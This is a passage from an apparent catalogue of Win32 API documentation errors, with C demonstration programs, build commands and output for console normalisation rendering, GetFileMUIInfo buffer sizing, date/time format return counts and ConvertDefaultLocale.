    		else if (dwConsole != sizeof(CP1252) / sizeof(*CP1252) - 1)
    			PrintConsole(hConsole,
    			             L"WriteConsole() wrote %lu of %lu wide characters\n",
    			             dwConsole, sizeof(CP1252) / sizeof(*CP1252) - 1);
    
    		niWide = NormalizeString(NormalizationD,
    		                         CP1252, sizeof(CP1252) / sizeof(*CP1252),
    		                         szWide, sizeof(szWide) / sizeof(*szWide));
    
    		if (--niWide < 0)
    			PrintConsole(hConsole,
    			             L"NormalizeString() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			if (!WriteConsole(hConsole, szWide, niWide, &dwConsole, NULL))
    				PrintConsole(hConsole,
    				             L"WriteConsole() returned error %lu\n",
    				             dwError = GetLastError());
    			else if (dwConsole != niWide)
    				PrintConsole(hConsole,
    				             L"WriteConsole() wrote %lu of %lu wide characters\n",
    				             dwConsole, niWide);
    
    		if ((GetACP() == CP_UTF8)
    		 && (GetOEMCP() == CP_UTF8))
    		{
    			uiANSI = WideCharToMultiByte(CP_UTF8,
    			                             WC_ERR_INVALID_CHARS,
    			                             szWide, niWide,
    			                             szANSI, sizeof(szANSI),
    			                             (LPCCH) NULL, (LPBOOL) NULL);
    
    			if (uiANSI == 0)
    				PrintConsole(hConsole,
    				             L"WideCharToMultiByte() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				if (!WriteConsoleA(hConsole, szANSI, uiANSI, &dwConsole, NULL))
    					PrintConsole(hConsole,
    					             L"WriteConsoleA() returned error %lu\n",
    					             dwError = GetLastError());
    				else if (dwConsole != uiANSI)
    					PrintConsole(hConsole,
    					             L"WriteConsoleA() wrote %lu of %lu characters\n",
    					             dwConsole, uiANSI);
    
    				if (!WriteFile(hConsole, szANSI, uiANSI, &dwConsole, (LPOVERLAPPED) NULL))
    					PrintConsole(hConsole,
    					             L"WriteFile() returned error %lu\n",
    					             dwError = GetLastError());
    				else if (dwConsole != uiANSI)
    					PrintConsole(hConsole,
    					             L"WriteFile() wrote %lu of %lu characters\n",
    					             dwConsole, uiANSI);
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  6. Build the console application quirk29.exe from the source file quirk29.c created in step 5.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk29.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk29.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk29.c
    quirk29.c(77) : warning C4389: '!=' : signed/unsigned mismatch
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk29.exe
    quirk29.obj
  7. Execute the console application quirk29.exe built in step 6. to demonstrate the (mis)behaviour:

    .\quirk29.exe
    €‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
    €‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□×ØU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□
    OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
Note: the evaluation of the (mis)behaviour with the Win32 functions SetConsoleTitleW(), WriteConsoleOutputW() and WriteConsoleOutputCharacterW() is left as an exercise to the reader.

Note: the evaluation of the (mis)behaviour (and bugs) with the Win32 functions SetConsoleTitleA(), WriteConsoleA(), WriteConsoleOutputA(), WriteConsoleOutputCharacterA() and WriteFile() when the system’s (global) ANSI and OEM code pages are set to 65001 alias CP_UTF8 is also left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 30

The Win32 function GetFileMUIInfo() is documented in the MSDN as follows:
Retrieves resource-related information about a file.
BOOL GetFileMUIInfo(
  DWORD        dwFlags,
  PCWSTR       pcwszFilePath,
  PFILEMUIINFO pFileMUIInfo,
  DWORD        *pcbFileMUIInfo
);
[…]

pFileMUIInfo
[…]
Alternatively, the application can set this parameter to NULL if pcbFileMUIInfo is set to 0. In this case, the function retrieves the required size for the information buffer in pcbFileMUIInfo.
[…]

pcbFileMUIInfo
[…]
Alternatively, the application can set this parameter to 0 if it sets NULL in pFileMUIInfo. In this case, the function retrieves the required file information buffer size in pcbFileMUIInfo. To allocate the correct amount of memory, this value should be added to the size of the FILEMUIINFO structure itself.

The description of its behaviour is but wrong and misleading!

The initial call of GetFileMUIInfo() for any module, with address and size of the buffer given as NULL and 0, fails (expected and intended) with Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER, but always returns 84 as (additional) buffer size; subsequent calls then return the full buffer size.
The returned (additional or full) buffer size is but not always sufficient; subsequent calls can fail again with Win32 error 122 alias ERROR_INSUFFICIENT_BUFFER, so additional calls with the buffer size returned from the previous call are then necessary until the call finally succeeds!

Note: implemented properly, the first call would return the correct (full) buffer size and grant a successful second call, as documented (for example) in the MSDN article Retrieving Data of Unknown Length!

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk30.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2009-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	WCHAR	szModule[] = L"C:\\Windows\\RegEdit.exe";
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PFILEMUIINFO	lpFileMUIInfo = NULL;
    	DWORD		dwFileMUIInfo = 0;
    	DWORD		dwError;
    	HANDLE		hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
    		                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
    			PrintConsole(hConsole,
    			             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
    			             dwError = GetLastError(), dwFileMUIInfo, szModule);
    		else
    		{
    			PrintConsole(hConsole,
    			             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
    			             dwError = GetLastError(), dwFileMUIInfo, szModule);
    
    			dwFileMUIInfo += sizeof(FILEMUIINFO);
    
    			while (dwError == ERROR_INSUFFICIENT_BUFFER)
    			{
    				lpFileMUIInfo = LocalAlloc(LPTR, dwFileMUIInfo);
    
    				if (lpFileMUIInfo == NULL)
    					PrintConsole(hConsole,
    					             L"LocalAlloc() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					lpFileMUIInfo->dwSize = dwFileMUIInfo;
    					lpFileMUIInfo->dwVersion = MUI_FILEINFO_VERSION;
    
    					if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
    					                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
    						PrintConsole(hConsole,
    						             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
    						             dwError = GetLastError(), dwFileMUIInfo, szModule);
    					else
    						PrintConsole(hConsole,
    						             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
    						             dwError = GetLastError(), dwFileMUIInfo, szModule);
    
    					if (LocalFree(lpFileMUIInfo) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk30.exe from the source file quirk30.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk30.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk30.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk30.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk30.exe
    quirk30.obj
  3. Execute the console application quirk30.exe built in step 2. to demonstrate the (mis)behaviour of the Win32 function GetFileMUIInfo():

    .\quirk30.exe
    GetFileMUIInfo() returned error 122 and buffer size 84 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned error 122 and buffer size 166 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned error 122 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned success 0 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 31

The Win32 functions GetDateFormat(), GetTimeFormat(), GetDateFormatEx() and GetTimeFormatEx() are documented in the MSDN as follows:
Formats a date as a date string for a locale specified by the locale identifier. The function formats either a specified date or the local system date.

[…]

int GetDateFormat(
  LCID             Locale,
  DWORD            dwFlags,
  const SYSTEMTIME *lpDate,
  LPCTSTR          lpFormat,
  LPTSTR           lpDateStr,
  int              cchDate
);
[…]

Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.

The function returns 0 if it does not succeed. […]

Formats time as a time string for a locale specified by identifier. The function formats either a specified time or the local system time.

[…]

int GetTimeFormat(
  LCID             Locale,
  DWORD            dwFlags,
  const SYSTEMTIME *lpTime,
  LPCTSTR          lpFormat,
  LPTSTR           lpTimeStr,
  int              cchTime
);
[…]

Returns the number of TCHAR values retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.

This function returns 0 if it does not succeed. […]

Formats a date as a date string for a locale specified by name. The function formats either a specified date or the local system date.

[…]

int GetDateFormatEx(
  LPCTSTR          lpLocaleName,
  DWORD            dwFlags,
  const SYSTEMTIME *lpDate,
  LPCTSTR          lpFormat,
  LPTSTR           lpDateStr,
  int              cchDate,
  LPCTSTR          lpCalendar
);
[…]

Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.

This function returns 0 if it does not succeed. […]

Formats time as a time string for a locale specified by name. The function formats either a specified time or the local system time.

[…]

int GetTimeFormatEx(
  LPCTSTR          lpLocaleName,
  DWORD            dwFlags,
  const SYSTEMTIME *lpTime,
  LPCTSTR          lpFormat,
  LPTSTR           lpTimeStr,
  int              cchTime
);
[…]

Returns the number of characters retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.

This function returns 0 if it does not succeed. […]

Win32 functions which write a character string to a buffer typically return the number of characters except the terminating NUL character, even if not stated explicitly.
The four functions named above but return the number of characters including the terminating NUL character, without explicitly stating their unusual behaviour.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk31.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SYSTEMTIME	st;
    
    	INT	nDate, nTime, nSize;
    	LPWSTR	lpDate, lpTime;
    	WCHAR	szDate[] = L"MM/dd/yyyy";
    	WCHAR	szTime[] = L"HH:mm:ss";
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		GetSystemTime(&st);
    
    		nDate = GetDateFormat(LOCALE_INVARIANT,
    		                      0,
    		                      &st,
    		                      szDate,
    		                      szDate,
    		                      sizeof(szDate) / sizeof(*szDate));
    
    		if (nDate == 0)
    			PrintConsole(hConsole,
    			             L"GetDateFormat() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			nSize = wcslen(szDate);
    
    			if (nSize != nDate)
    				PrintConsole(hConsole,
    				             L"GetDateFormat() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
    				             szDate, nDate, nSize);
    		}
    
    		nTime = GetTimeFormat(LOCALE_INVARIANT,
    		                      0,
    		                      &st,
    		                      szTime,
    		                      szTime,
    		                      sizeof(szTime) / sizeof(*szTime));
    
    		if (nTime == 0)
    			PrintConsole(hConsole,
    			             L"GetTimeFormat() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			nSize = wcslen(szTime);
    
    			if (nSize != nTime)
    				PrintConsole(hConsole,
    				             L"GetTimeFormat() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
    				             szTime, nTime, nSize);
    		}
    
    		nSize = GetDateFormatEx(LOCALE_NAME_INVARIANT,
    		                        DATE_LONGDATE,
    		                        &st,
    		                        (LPCWSTR) NULL,
    		                        (LPWSTR) NULL,
    		                        0,
    		                        (LPCWSTR) NULL);
    
    		if (nSize == 0)
    			PrintConsole(hConsole,
    			             L"GetDateFormatEx() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			lpDate = LocalAlloc(LPTR, nSize * sizeof(*lpDate));
    
    			if (lpDate == NULL)
    				PrintConsole(hConsole,
    				             L"LocalAlloc() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				nDate = GetDateFormatEx(LOCALE_NAME_INVARIANT,
    				                        DATE_LONGDATE,
    				                        &st,
    				                        (LPCWSTR) NULL,
    				                        lpDate,
    				                        nSize,
    				                        (LPCWSTR) NULL);
    
    				if (nDate == 0)
    					PrintConsole(hConsole,
    					             L"GetDateFormatEx() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (nDate != nSize - 1)
    						PrintConsole(hConsole,
    						             L"GetDateFormatEx() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
    						             lpDate, nDate, wcslen(lpDate));
    
    				if (LocalFree(lpDate) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    
    		nSize = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
    		                        TIME_FORCE24HOURFORMAT,
    		                        &st,
    		                        (LPCWSTR) NULL,
    		                        (LPWSTR) NULL,
    		                        0);
    
    		if (nSize == 0)
    			PrintConsole(hConsole,
    			             L"GetTimeFormatEx() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			lpTime = LocalAlloc(LPTR, nSize * sizeof(*lpTime));
    
    			if (lpTime == NULL)
    				PrintConsole(hConsole,
    				             L"LocalAlloc() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				nTime = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
    				                        TIME_FORCE24HOURFORMAT,
    				                        &st,
    				                        (LPCWSTR) NULL,
    				                        lpTime,
    				                        nSize);
    
    				if (nTime == 0)
    					PrintConsole(hConsole,
    					             L"GetTimeFormatEx() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (nTime != nSize - 1)
    						PrintConsole(hConsole,
    						             L"GetTimeFormatEx() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
    						             lpTime, nTime, wcslen(lpTime));
    
    				if (LocalFree(lpTime) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk31.exe from the source file quirk31.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk31.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk31.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk31.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk31.exe
    quirk31.obj
  3. Execute the console application quirk31.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk31.exe
    GetDateFormat() returned date '08/15/2020' of 11 characters, but real string length is 10 characters
    GetTimeFormat() returned time '12:34:56' of 9 characters, but real string length is 8 characters
    GetDateFormatEx() returned date 'Saturday, 15 August 2020' of 25 characters, but real string length is 24 characters
    GetTimeFormatEx() returned time '12:34:56' of 9 characters, but real string length is 8 characters
Note: the evaluation of the (mis)behaviour with the Win32 functions GetCalendarInfo(), GetCalendarInfoEx(), GetCurrencyFormat(), GetCurrencyFormatEx(), GetDurationFormat(), GetDurationFormatEx(), GetGeoInfo(), GetLocaleInfo(), GetLocaleInfoEx(), GetNumberFormat() and GetNumberFormatEx() is left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 32

The Win32 function ConvertDefaultLocale() is documented in the MSDN as follows:
Converts a default locale value to an actual locale identifier.
Note This function is only provided for converting partial locale identifiers.
LCID ConvertDefaultLocale(
  LCID Locale
);
[…]

Locale

Default locale identifier value to convert. You can use the MAKELANGID macro to create a locale identifier or use one of the following predefined values.

Windows Vista and later: The following custom locale identifiers are also supported.

[…]

Returns the appropriate locale identifier if successful.

This function returns the value of the Locale parameter if it does not succeed. The function fails when the Locale value is not one of the default values listed above.

[…]

OUCH: the MAKELANGID macro creates Language Identifiers; use the MAKELCID macro to create Locale Identifiers!

Demonstration

Perform the following 3 simple steps to prove the documentation cited above wrong and to show the (mis)behaviour.
  1. Create the text file quirk32.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	LCID	lcDefault = LOCALE_NEUTRAL;
    	LCID	lcConvert;
    	WCHAR	szDefault[LOCALE_MAX_NAME_LENGTH];
    	WCHAR	szConvert[LOCALE_MAX_NAME_LENGTH];
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		do
    		{
    			lcConvert = ConvertDefaultLocale(lcDefault);
    
    			if (lcConvert != lcDefault)
    				if (LCIDToLocaleName(lcDefault,
    				                     szDefault,
    				                     sizeof(szDefault) / sizeof(*szDefault),
    				                     LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
    					PrintConsole(hConsole,
    					             L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
    					             dwError = GetLastError(), lcDefault);
    				else if (LCIDToLocaleName(lcConvert,
    				                          szConvert,
    				                          sizeof(szConvert) / sizeof(*szConvert),
    				                          LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
    					PrintConsole(hConsole,
    					             L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
    					             dwError = GetLastError(), lcConvert);
    				else
    					PrintConsole(hConsole,
    					             L"0x%08lX = %ls\n"
    					             L"0x%08lX = %ls\n",
    					             lcDefault, szDefault,
    					             lcConvert, szConvert);
    		} while (lcDefault++ < LOCALE_CUSTOM_UI_DEFAULT);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk32.exe from the source file quirk32.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk32.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk32.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk32.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk32.exe
    quirk32.obj
  3. Execute the console application quirk32.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk32.exe
    0x00000000 = en-US
    0x00000409 = en-US
    0x00000001 = ar
    0x00000401 = ar-SA
    0x00000002 = bg
    0x00000402 = bg-BG
    0x00000003 = ca
    0x00000403 = ca-ES
    0x00000004 = zh-Hans
    0x00000804 = zh-CN
    0x00000005 = cs
    0x00000405 = cs-CZ
    0x00000006 = da
    0x00000406 = da-DK
    0x00000007 = de
    0x00000407 = en-US
    0x00000008 = el
    0x00000408 = el-GR
    0x00000009 = en
    0x00000409 = en-US
    0x0000000A = es
    0x00000C0A = es-ES
    0x0000000B = fi
    0x0000040B = fi-FI
    0x0000000C = fr
    0x0000040C = fr-FR
    0x0000000D = he
    0x0000040D = he-IL
    0x0000000E = hu
    0x0000040E = hu-HU
    0x0000000F = is
    0x0000040F = is-IS
    0x00000010 = it
    0x00000410 = it-IT
    0x00000011 = ja
    0x00000411 = ja-JP
    0x00000012 = ko
    0x00000412 = ko-KR
    0x00000013 = nl
    0x00000413 = nl-NL
    0x00000014 = no
    0x00000414 = nb-NO
    0x00000015 = pl
    0x00000415 = pl-PL
    0x00000016 = pt
    0x00000416 = pt-BR
    0x00000017 = rm
    0x00000417 = rm-CH
    0x00000018 = ro
    0x00000418 = ro-RO
    0x00000019 = ru
    0x00000419 = ru-RU
    0x0000001A = hr
    0x0000041A = hr-HR
    0x0000001B = sk
    0x0000041B = sk-SK
    0x0000001C = sq
    0x0000041C = sq-AL
    0x0000001D = sv
    0x0000041D = sv-SE
    0x0000001E = th
    0x0000041E = th-TH
    0x0000001F = tr
    0x0000041F = tr-TR
    0x00000020 = ur
    0x00000420 = ur-PK
    0x00000021 = id
    0x00000421 = id-ID
    0x00000022 = uk
    0x00000422 = uk-UA
    0x00000023 = be
    0x00000423 = be-BY
    0x00000024 = sl
    0x00000424 = sl-SI
    0x00000025 = et
    0x00000425 = et-EE
    0x00000026 = lv
    0x00000426 = lv-LV
    0x00000027 = lt
    0x00000427 = lt-LT
    0x00000028 = tg
    0x00000428 = tg-Cyrl-TJ
    0x00000029 = fa
    0x00000429 = fa-IR
    0x0000002A = vi
    0x0000042A = vi-VN
    0x0000002B = hy
    0x0000042B = hy-AM
    0x0000002C = az
    0x0000042C = az-Latn-AZ
    0x0000002D = eu
    0x0000042D = eu-ES
    0x0000002E = hsb
    0x0000042E = hsb-DE
    0x0000002F = mk
    0x0000042F = mk-MK
    0x00000032 = tn
    0x00000432 = tn-ZA
    0x00000034 = xh
    0x00000434 = xh-ZA
    0x00000035 = zu
    0x00000435 = zu-ZA
    0x00000036 = af
    0x00000436 = af-ZA
    0x00000037 = ka
    0x00000437 = ka-GE
    0x00000038 = fo
    0x00000438 = fo-FO
    0x00000039 = hi
    0x00000439 = hi-IN
    0x0000003A = mt
    0x0000043A = mt-MT
    0x0000003B = se
    0x0000043B = se-NO
    0x0000003C = ga
    0x0000083C = ga-IE
    0x0000003E = ms
    0x0000043E = ms-MY
    0x0000003F = kk
    0x0000043F = kk-KZ
    0x00000040 = ky
    0x00000440 = ky-KG
    0x00000041 = sw
    0x00000441 = sw-KE
    0x00000042 = tk
    0x00000442 = tk-TM
    0x00000043 = uz
    0x00000443 = uz-Latn-UZ
    0x00000044 = tt
    0x00000444 = tt-RU
    0x00000045 = bn
    0x00000445 = bn-IN
    0x00000046 = pa
    0x00000446 = pa-IN
    0x00000047 = gu
    0x00000447 = gu-IN
    0x00000048 = or
    0x00000448 = or-IN
    0x00000049 = ta
    0x00000449 = ta-IN
    0x0000004A = te
    0x0000044A = te-IN
    0x0000004B = kn
    0x0000044B = kn-IN
    0x0000004C = ml
    0x0000044C = ml-IN
    0x0000004D = as
    0x0000044D = as-IN
    0x0000004E = mr
    0x0000044E = mr-IN
    0x0000004F = sa
    0x0000044F = sa-IN
    0x00000050 = mn
    0x00000450 = mn-MN
    0x00000051 = bo
    0x00000451 = bo-CN
    0x00000052 = cy
    0x00000452 = cy-GB
    0x00000053 = km
    0x00000453 = km-KH
    0x00000054 = lo
    0x00000454 = lo-LA
    0x00000056 = gl
    0x00000456 = gl-ES
    0x00000057 = kok
    0x00000457 = kok-IN
    0x0000005A = syr
    0x0000045A = syr-SY
    0x0000005B = si
    0x0000045B = si-LK
    0x0000005D = iu
    0x0000085D = iu-Latn-CA
    0x0000005E = am
    0x0000045E = am-ET
    0x0000005F = tzm
    0x0000085F = tzm-Latn-DZ
    0x00000061 = ne
    0x00000461 = ne-NP
    0x00000062 = fy
    0x00000462 = fy-NL
    0x00000063 = ps
    0x00000463 = ps-AF
    0x00000064 = fil
    0x00000464 = fil-PH
    0x00000065 = dv
    0x00000465 = dv-MV
    0x00000068 = ha
    0x00000468 = ha-Latn-NG
    0x0000006A = yo
    0x0000046A = yo-NG
    0x0000006B = quz
    0x0000046B = quz-BO
    0x0000006C = nso
    0x0000046C = nso-ZA
    0x0000006D = ba
    0x0000046D = ba-RU
    0x0000006E = lb
    0x0000046E = lb-LU
